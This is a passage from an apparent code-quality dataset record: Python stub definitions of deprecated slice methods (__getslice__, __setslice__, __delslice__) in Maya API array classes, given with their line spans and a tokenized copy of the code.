"root.MPlugArray.__setslice__", "header": "['class', 'MPlugArray', '(', 'object', ')', ':', '___EOS___']", "index": 12361 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MCallbackIdArray.__delslice__", "header": "['class', 'MCallbackIdArray', '(', 'object', ')', ':', '___EOS___']", "index": 12463 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MCallbackIdArray.__getslice__", "header": "['class', 'MCallbackIdArray', '(', 'object', ')', ':', '___EOS___']", "index": 12481 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MCallbackIdArray.__setslice__", "header": "['class', 'MCallbackIdArray', '(', 'object', ')', ':', '___EOS___']", "index": 12555 } ]
[ { "span": "def __delslice__(*args, **kwargs):", "start_line": 544, "start_column": 4, "end_line": 544, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 562, "start_column": 4, "end_line": 562, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 636, "start_column": 4, "end_line": 636, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 878, "start_column": 4, "end_line": 878, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 896, "start_column": 4, "end_line": 896, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 970, "start_column": 4, "end_line": 970, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 1712, "start_column": 4, "end_line": 1712, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 1730, "start_column": 4, "end_line": 1730, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 1804, "start_column": 4, "end_line": 1804, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 1906, "start_column": 4, "end_line": 1906, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 1924, "start_column": 4, "end_line": 1924, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 1998, "start_column": 4, "end_line": 1998, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 2280, "start_column": 4, "end_line": 2280, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 2298, "start_column": 4, "end_line": 2298, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 2372, "start_column": 4, "end_line": 2372, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 3412, "start_column": 4, "end_line": 3412, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 3430, "start_column": 4, "end_line": 3430, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 3504, "start_column": 4, "end_line": 3504, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 4349, "start_column": 4, "end_line": 4349, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 4367, "start_column": 4, "end_line": 4367, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 4441, "start_column": 4, "end_line": 4441, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 5076, "start_column": 4, "end_line": 5076, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 5094, "start_column": 4, "end_line": 5094, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 5168, "start_column": 4, "end_line": 5168, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 5270, "start_column": 4, "end_line": 5270, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 5288, "start_column": 4, "end_line": 5288, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 5362, "start_column": 4, "end_line": 5362, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 5501, "start_column": 4, "end_line": 5501, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 5519, "start_column": 4, "end_line": 5519, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 5593, "start_column": 4, "end_line": 5593, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 5742, "start_column": 4, "end_line": 5742, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 5760, "start_column": 4, "end_line": 5760, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 5834, "start_column": 4, "end_line": 5834, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 11471, "start_column": 4, "end_line": 11471, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 11489, "start_column": 4, "end_line": 11489, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 11563, "start_column": 4, "end_line": 11563, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 12269, "start_column": 4, "end_line": 12269, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 12287, "start_column": 4, "end_line": 12287, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 12361, "start_column": 4, "end_line": 12361, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 12463, "start_column": 4, "end_line": 12463, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 12481, "start_column": 4, "end_line": 12481, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 12555, "start_column": 4, "end_line": 12555, "end_column": 38 } ]
[]
1
true
[ "[CLS]_", "Dep", "reca", "ted_", "slice_", "method_", "[SEP]_", "class_", "MD", "ou", "ble", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "dels", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "dels", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "del", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MD", "ou", "ble", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "gets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MD", "ou", "ble", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "sets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "sets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ",", " ", "y", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]=", "y", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MF", "loa", "t", "Vector", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "dels", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "dels", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "del", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MF", "loa", "t", "Vector", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "gets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MF", "loa", "t", "Vector", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "sets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "sets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ",", " ", "y", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]=", "y", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MU", "int", "64", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "dels", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "dels", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "del", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MU", "int", "64", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "gets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MU", "int", "64", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "sets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "sets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ",", " ", "y", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]=", "y", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MI", "nt", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "dels", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "dels", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "del", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MI", "nt", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "gets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MI", "nt", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "sets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "sets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ",", " ", "y", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]=", "y", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MU", "int", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "dels", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "dels", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "del", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MU", "int", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "gets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MU", "int", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "sets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "sets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ",", " ", "y", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]=", "y", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MF", "loa", "t", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "dels", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "dels", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "del", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MF", "loa", "t", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "gets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MF", "loa", "t", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "sets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "sets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ",", " ", "y", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]=", "y", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MC", "olor", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "dels", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "dels", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "del", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MC", "olor", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "gets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MC", "olor", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "sets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "sets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ",", " ", "y", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]=", "y", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MD", "ag", "Path", "Array_", "(_", "object_", ")_", ":_", 